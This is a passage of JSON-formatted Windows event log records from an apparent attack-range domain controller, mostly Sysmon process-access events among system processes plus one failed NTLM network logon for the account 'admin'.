11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1702,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nTargetProcessId: 4016\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","TargetProcessId":"4016","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221479,"ProcessID":860,"ThreadID":2712,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58889\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58889","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.812\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nSourceProcessId: 3940\r\nSourceThreadId: 3968\r\nSourceImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1040\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\System32\\combase.dll+4d01b|C:\\Windows\\System32\\combase.dll+9e002|C:\\Windows\\System32\\combase.dll+9e92e|C:\\Windows\\System32\\combase.dll+9e6ef|C:\\Windows\\System32\\combase.dll+3fff8|C:\\Windows\\System32\\combase.dll+3fc10|C:\\Windows\\System32\\combase.dll+4fa47|C:\\Windows\\System32\\combase.dll+c1ef4|C:\\Windows\\System32\\combase.dll+4ea07|C:\\Windows\\System32\\combase.dll+4a6d0|C:\\Windows\\System32\\combase.dll+3f5a|C:\\Windows\\System32\\RPCRT4.dll+dbd2a|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3f3|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.812","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","SourceProcessId":"3940","SourceThreadId":"3968","SourceImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1040","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\System32\\combase.dll+4d01b|C:\\Windows\\System32\\combase.dll+9e002|C:\\Windows\\System32\\combase.dll+9e92e|C:\\Windows\\System32\\combase.dll+9e6ef|C:\\Windows\\System32\\combase.dll+3fff8|C:\\Windows\\System32\\combase.dll+3fc10|C:\\Windows\\System32\\combase.dll+4fa47|C:\\Windows\\System32\\combase.dll+c1ef4|C:\\Windows\\System32\\combase.dll+4ea07|C:\\Windows\\System32\\combase.dll+4a6d0|C:\\Windows\\System32\\combase.dll+3f5a|C:\\Windows\\System32\\RPCRT4.dll+dbd2a|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3f3|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.859\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nSourceProcessId: 2564\r\nSourceThreadId: 3132\r\nSourceImage: C:\\Windows\\system32\\DFSRs.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c0dd|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.859","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","SourceProcessId":"2564","SourceThreadId":"3132","SourceImage":"C:\\Windows\\system32\\DFSRs.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c0dd|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 